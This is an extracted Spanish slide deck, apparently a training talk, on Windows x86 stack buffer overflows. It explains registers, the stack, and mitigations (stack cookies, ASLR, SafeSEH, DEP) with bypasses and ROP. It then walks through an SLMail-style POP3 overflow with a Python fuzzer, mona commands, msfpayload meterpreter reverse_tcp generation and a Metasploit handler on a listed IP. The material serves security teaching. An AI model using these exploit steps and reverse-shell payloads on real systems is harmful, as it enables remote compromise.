2. ¿Quien
soy
yo?
• Alguien
a
quien
le
encanta
aprender
cosas
• Alguien
que
adora
romper
más
cosas
• Alguien
que
intenta
arreglar
siempre
“todo
lo
que
rompe”
• Soy
Ignacio
Sorribas
“Nacho”
• Ingeniero
Informá@co
por
la
UJI
(Castellón)
• Cer@ficado
OSCP,
CISSP,
CCNA
y
CCNA
Security
• Actualmente
trabajo
en
Wise
Security
como
Senior
IT
Security
Analyst
3. Un
poco
de
teoría
• Vulnerabilidad:
condición
que
puede
llevar
a
la
explotación
de
un
soSware.
• Exploit:
Código
que
aprovecha
una
vulnerabilidad
en
una
aplicación
para
realizar
operaciones
controladas
por
el
atacante
(ejecución
de
código).
• Payload/
Shellcode:
Código
máquina
que
el
exploit
inyecta
en
al
memoria
del
proceso
vulnerable.
An@guamente
creaba
o
devolvía
una
Shell.
• Buffer
overflow
(BOF):
Desbordamiento
de
buffer.
Condición
que
permite
introducir
datos
en
una
zona
de
memoria
de
un
tamaño
superior
al
que
tamaño
máximo
establecido
para
dicha
zona.
4. Arquitectura
x86
• Anillos
de
privilegio
del
Sistema
opera@vo
• Las
llamadas
a
sistema
permiten
acceder
de
ring3
a
ring0
• 32
bit
=
4Gb
de
RAM
• Procesos
mapeados
de
0x00000000
a
0x7fffffff
• Espacio
memoria
para
cada
proceso
y
thread
(stack,
heap,
.data,
etc)
• Mapeo
ficheros
PE
– header(R)
– .text(RX)
– .reloc(R)
– .data(RW)
5. La
pila
• Estructura
LIFO
• Asignada
por
SO
para
cada
thread
• Crece
hacia
direcciones
de
memoria
menores
• Variables
locales,
argumentos,
punteros
a
función,
etc
• PUSH
apila,
POP
desapila
• ESP
marca
la
cima
de
la
pila
6. Registros
de
CPU
EIP:
Puntero
a
próxima
instrucción
(de
solo
lectura,
con@ene
la
dirección
absoluta
de
la
próxima
instrucción
a
ejecutar
por
la
CPU).
8
Registros
de
propósito
general
(parte
del
contexto
del
thread):
– EAX:
Acumulador
(suele
almacenar
el
resultado
de
los
cálculos
de
la
CPU).
– EBX:
Registro
Base
Extendido
(apoyo
para
acelerar
cálculos
).
– ECX:
Contador
(suele
u@lizarse
en
bucles).
– EDX:
Datos
(extensión
de
eax
para
cálculos
más
complejos).
– ESP:
Puntero
de
pila
(indica
la
cima
de
la
pila).
– EBP:
Frame
Pointer
(indica
la
base
del
frame
de
la
pila).
– ESI:
Source
Index
(localización
de
los
datos
de
entrada).
– EDI:
Des@na@on
Index
(Des@no
donde
se
almacenaran
los
datos).
7. Registros
CPU
Registros
de
segmento:
• CS:
Code
segment
(base
de
la
sección
“.text”).
• DS:
Data
segment
(base
de
la
sección
“.data”).
• ES:
Extra
segment
(para
operaciones
con
strings).
• SS:
Stack
segment
(base
de
la
pila).
• FS:
Extra
• GS:
Extra
Registro
EFLAGS
(32
bits
divididos
de
la
siguiente
forma):
• CF
(Carry
flag).
• ZF
(Zero
flag).
• PF
(flag
de
paridad).
• SF
(flag
de
signo).
• DF
(Direc@on
flag).
8. CPU
¿Cómo
se
almacenan
los
datos
en
memoria?
– x86
u@liza
“Liole
Endian”.
– El
valor
0x12345678
se
almacenará
en
memoria
como
“x78x56x34x12”.
9. ¿Cuál
es
el
obje@vo
al
realizar
un
exploit?
• Controlar
EIP,
pero
este
es
de
solo
lectura.
¿Como
lo
controlamos?
• 2
métodos:
– Sobrescribir
el
EIP
almacenado
en
pila
por
una
función.
– Sobrescribir
la
estructura
de
control
de
excepciones
(SEH).
10. ¿qué
pasa
dentro
de
un
programa?
• Inicio
función
à
prólogo
• Fin
función
à
epílogo
• El
“prólogo”
guarda
el
estado
de
la
CPU
para
devolver
el
flujo
de
ejecución
al
terminar.
(puntero
próxima
instrucción).
• El
“epílogo”
restaura
el
flujo
de
ejecución
anterior
a
la
llamada
a
la
función
(copia
en
EIP
el
valor
que
almacenó
el
prólogo
en
la
pila).
11. Ejemplo
//
Programa
de
ejemplo
int
foobar(int
a,
int
b,
int
c)
{
//
Código
de
la
función.
int
x
=
a
+2;
int
y
=
b
+
10;
return
x+y+c;
}
int
main()
{
return
foobar(10,50,65);
}
• Los
argumentos
se
introducen
en
la
pila
en
orden
inverso.
12. • “call”
guarda
la
dirección
de
retorno
(saved
EIP)
• Se
guarda
EBP
;prólogo
de
la
función
de
ejemplo
push
ebp
;
Guardamos
el
base
pointer
viejo
en
la
pila
mov
ebp,esp
;
Fijamos
el
valor
del
stack
pointer
sub
esp,8
;Espacio
para
variables
locales
13. • Se
fija
el
nuevo
frame
de
pila
• Se
reserva
espacio
para
las
variables
locales
14. Al
finalizar
la
función
se
ejecuta
el
epílogo
(leave)
;Epílogo
mov
esp,ebp
;
mueve
el
stack
pointer
al
ebp
dentro
de
la
función
pop
ebp
;
restaura
ebp
del
frame
anterior
Se
mueve
ESP
a
la
base
de
la
pila
En
EBP
se
restaura
el
EBP
anterior
16. Ovewrite
saved
EIP:
el
obje@vo
es
sobrescribir
el
valor
almacenado
por
la
instrucción
“call”
en
pila,
para
que
“ret”
lo
restaure
en
EIP
y
nos
otorgue
el
control
de
la
ejecución.
18. Contramedidas
• Stack
Cookies
• ASLR
• SafeSeh
• HW
DEP/NX
Stack
Cookies
• Compilando
con
/GS
• Un
“dowrd”
aleatorio
en
“.data”
• Cookie
=
valor
“.data”
^
EBP
• Push
de
la
Cookie
despues
de
EBP
19. El
epílogo
recupera
el
SC,
y
lo
comparara
con
el
valor
almacenado
en
“.data”
“Xoreado”
con
EBP.
Si
no
coinciden,
se
aborta
el
proceso.
Para
sobrescribir
EIP
es
necesario
sobrescribir
SC.
Bypass:
Sobrescribir
la
Cookie
• Fuerza
bruta
si
la
aplicación
lo
permite.
• U@lizar
algún
“leak”
de
memoria
de
la
aplicación
que
nos
permita
leer
la
Cookie
de
“.data”.
• Si
se
puede
hacer
una
escritura
en
una
zona
arbitraria,
sobrescribir
4
bytes
en
la
sección
“.data”
(es
RW)
que
almacena
la
Cookie
con
un
valor
que
controlemos.
Evitar
la
Cookie
• U@lizar
SEH
(Si
se
produce
una
violación
de
memoria
y
se
llama
a
SEH,
la
Cookie
no
se
llega
a
comprobar
ya
que
la
función
no
ha
acabado).
• Algún
modo
de
redirigir
el
flujo
antes
de
que
la
función
acabe
y
se
compruebe
la
Cookie
(Vtable,
Func@on
pointer).
20. ASLR
(Address
Space
Layout
RandomizaGon)
• En
cada
reinicio
de
la
máquina,
la
dirección
de
memoria
donde
se
cargan
los
módulos
cambia
(solo
la
base
0xAABBCCDD).
• Windows
Vista
y
superiores.
• Complica
el
uso
de
punteros
a
funciones
de
dichos
módulos
para
realizar
saltos.
• Se
ac@va
con
un
flag
del
“linker”
(/DYNAMICBASE)
¿Cómo
saltarnos
ASLR?
• Evitar
ASLR
• Muchas
librerías
y
módulos
siguen
compilándose
sin
ASLR
• Escritura
parcial
• Solo
cambian
los
2
bytes
de
la
base
• Si
encontramos
un
puntero
viable
en
el
mismo
módulo
o
binario
vulnerable,
podemos
llegar
a
el
tan
solo
cambiando
2
bytes.
21. • Fuerza
bruta
• Si
la
aplicación
lo
permite
• La
dirección
de
memoria
cambia
después
de
un
reinicio.
• Con
un
“leak”
de
memoria
(otra
vulnerabilidad
que
nos
permita
conocer
la
dirección
donde
está
cargado
el
módulo).
Ejemplo
de
escritura
parcial:
• Supongamos
que
sobrescribimos
EIP
después
de
500
bytes,
así
que
introducimos
“A”*500+”B”.
Comprobamos
en
el
“debuger”
y
“EIP=0x00400042”
(el
42
es
nuestra
B).
• Ahora
supongamos
que
ESP
o
EAX
con@enen
un
puntero
a
la
zona
donde
hemos
me@dos
las
“A”.
Deberemos
mirar
la
memoria
desde
0x00400000
a
0x0040ffff
en
busca
de
un
puntero
“jmp
eax”
o
en
caso
de
tener
el
puntero
en
ESP
un
“ret”.
Si
lo
encontramos,
entonces
podemos
alcanzar
el
shellcode
con
solo
sobrescribir
1
o
2
bytes
de
EIP
• Tip:
liole
Endian.
• Depende
en
gran
medida
de
la
suerte.
22. SAFESEH
• Se
ac@va
compilando
con
el
flag
“/SAFESEH”.
• Evita
la
creación
de
de
manejadores
de
excepción
“custom”.
• Crea
una
tabla
con
manejadores
válidos
en
el
momento
de
la
compilación.
¿cómo
evitarlo?
• U@lizar
punteros
de
módulos
no
protegidos
con
“safeseh”.
23. DEP
(Data
ExecuGon
PrevenGon)
• Evita
la
ejecución
de
código
en
la
pila
(stack)
en
el
“heap”
y
en
las
secciones
“.data”
de
memoria.
• Necesita
soporte
de
la
CPU.
Si
no
hay
soporte
es
SW
DEP
=
Safeseh
• Si
se
intenta
ejecutar
código
en
la
pila
se
ob@ene
una
violación
de
acceso
“0xc0000005”.
• Se
u@lizan
4
modos:
• OptIn:
Solo
afecta
a
módulos/servicios
específicos
del
SO
• OptOut:
Todos
los
procesos
excepto
los
que
se
encuentran
en
una
lista
de
exclusión.
• AllwaysOn:
Todos
los
procesos,
sin
excepciones.
• AllwaysOff:
no
DEP
• (Por
defecto:
XP
&
Vista
SP0
à
OptIn;
Vista
SP1
&
Win7
à
OptIn;
Server
2003
&
2008
à
OptOut)
24. ¿Cómo
saltarnos
DEP?
• Return
to
libc:
Preparar
los
argumentos
para
llamar
a
una
función
del
SO
en
la
pila
y
hacer
que
EIP
apunte
a
la
función
en
cues@ón.
• ROP
(Return-‐oriented
Programming).
• Crear
cadena
de
“Gadgets”
(Instrucciones
ya
cargadas
en
memoria
con
un
“ret”
a
con@nuación)
• invocar
alguna
acción
para
deshabilitar
DEP
para
el
proceso.
• EIP
apunta
a
una
instrucción
“ret”
• Algunas
API
de
windows
recomendadas
para
ROP:
• VirtualAlloc
(all
Windows
versions)
• VirtualProtect
(all
Windows
versions)
• WriteProccessMemory
26. Pasos:
• Encontrar
un
buffer
que
permita
el
desbordamiento.
• Encontrar
la
distancia
desde
el
principio
del
buffer
que
permite
sobrescribir
el
valor
de
EIP
almacenado
en
pila
(offset).
• Localizar
un
espacio
de
memoria
que
controlemos
donde
podamos
almacenar
nuestro
“shellcode".
• Averiguar
los
caracteres
no
válidos
(Bad
characters).
• Modificar
el
valor
del
EIP
guardado
en
pila
para
saltar
a
la
zona
donde
hemos
inyectado
el
shellcode.
Configuración
de
“mona”
en
Immunity
Debugger:
• !mona
config
-‐set
workingfolder
c:logs%p
27. • Encontrar
la
vulnerabilidad
import
sys
import
socket
buffer
=
'A'
*
6000
HOST
=
'127.0.0.1'
PORT
=
110
s
=
socket.socket(socket.AF_INET,
socket.SOCK_STREAM)
s.connect((HOST,
PORT))
data
=
s.recv(1024)
print
'Received',
repr(data)
s.send('USER
username'+'rn')
data
=
s.recv(1024)
print
'Received',
repr(data)
s.send('PASS
'
+
buffer
+
'rn')
s.close()
28. • Encontrar
la
distancia
desde
el
principio
del
buffer
que
permite
sobrescribir
el
valor
de
EIP
almacenado
en
pila
(offset).
• !mona
paoern_create
6000
• !mona
findmsp
• Comprobar
que
las
distancias
son
correctas.
• Encontrar
espacio
para
nuestro
shellcode
• Generar
meterpreter/reverse_tcp
payload
(var
tamaño)
• msfpayload
windows/meterpreter/reverse_tcp
LHOST=xxx.xxx.xxx.xxx
R
|
msfencode
-‐b
‘xXX’
-‐e
x86/
shikata_ga_nai
-‐t
c
• Descartar
“Bad
Chars”.
• !mona
bytearray
(bytearray.txt
&
bytearray.bin)
• !mona
compare
-‐f
“c:logsSLMAILbytearray.bin”
-‐a
0xXXXXXX
• !mona
bytearray
-‐cpb
‘x00x…’
• Encontrar
puntero
para
salto
a
shellcode
• !mona
jmp
-‐r
ESP
29. • Levantar
un
“listener”
de
Metasploit
• msfcli
exploit/mul@/handler
payload=windows/meterpreter/
reverse_tcp
LHOST=192.168.65.156
EXITFUNC=thread
E
• Comprobar
que
todo
funciona
OK.
• Breakpoint
en
el
salto.
• ¿Saltamos
al
Shellcode?
• ¿Funciona?
¿por
qué?
Nota:
Cuando
ejecutamos
un
shellcode
inyectado
en
el
stack,
hay
que
asegurarse
que
el
registro
ESP
apunta
a
una
dirección
de
memoria
menor
que
la
con@ene
el
shellcode,
para
evitar
que
las
dis@ntas
instrucciones
“push
y
pop”
que
se
ejecuten
en
el
shellcode
lo
dañen
al
sobrescribir
valores
en
la
pila.
31. Ahora
nuestro
exploit
no
funciona:
DEP
no
permite
que
se
ejecute
código
en
la
pila.
• Podemos
llamar
a
punteros
a
instrucciones
• ROP
Gadgets,
instrucciones
seguidas
de
“ret”
Windows
ofrece
funciones
que
permiten
modificar
el
comportamiento
de
DEP
en
zonas
de
memoria
específicas.
• VirtualAlloc
• VirtualProtect
• ….
32. Pasos
para
construir
un
exploit
con
DEP
Bypass.
• Buscar
un
“rop
chain”
que
ejecute
VirtualAlloc
• !mona
rop
• !mona
rop
–cpb
‘x00x0ax0d’
-‐m
msvcrt.dll
• Poner
a
con@nuación
el
shellcode.
• Sus@tuir
la
instrucción
“jmp
esp”
apuntada
por
EIP
por
una
instrucción
“ret”
(la
sacamos
de
rop.txt)